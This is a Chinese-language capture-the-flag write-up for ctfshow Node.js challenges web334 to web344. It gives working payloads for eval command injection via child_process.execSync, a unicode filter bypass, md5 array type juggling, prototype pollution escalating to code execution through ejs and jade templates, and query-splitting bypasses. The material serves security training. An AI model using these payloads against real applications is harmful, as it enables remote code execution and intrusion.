web334

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

查看findUser函数,使用ctfshow/123456登录即可。

web335

考察nodejs中代码执行eval函数。
参考文章:https://www.anquanke.com/post/id/237032

使用exec函数没有回显,这里使用execSync函数
payload

?eval=require("child_process").execSync("env");

web336

对eval参数进行了过滤
使用unicode编码绕过

payload

?eval=require("child_process").exe\u0063Sync("env");

web337

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

要让a!==b,但是md5(a+flag)===md5(b+flag)
这里利用js的弱类型,使用数组绕过

payload

?a[]=1&b[]=1

web338

考察js的原型链污染,参考文章:https://xz.aliyun.com/t/12383

原型链污染就是 我们控制私有属性(proto)指向的原型对象(prototype), 将其的属性产生变更 那么所继承她的对象 也会拥有这个属性

login.js

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
});

使用copy处存在原型链污染

payload

{
"__proto__":
{"ctfshow":"36dboy"}
}

web339

api.js中query函数不存在,利用变量覆盖,控制函数。

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('env')"}}

web340

需要两层来获取prototype

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('env')"}}}


web341

利用模板渲染进行命令执行
这里使用了ejs模板

参考文章:
https://www.anquanke.com/post/id/236354#h2-3

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('env');","compileDebug":true}}}

web342

web343

jade模板

{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('env');//"}}}

web344

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

过滤了,,正常的payload被拦截。

?query={"name":"admin","password":"ctfshow","isVIP",true}

node.js处理req.query.query的时候,它不像php那样,后面get传的query值会覆盖前面的,而是会把这些值都放进一个数组中。而JSON.parse会把数组中的字符串都拼接到一起,再看满不满足格式,满足就进行解析.

?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}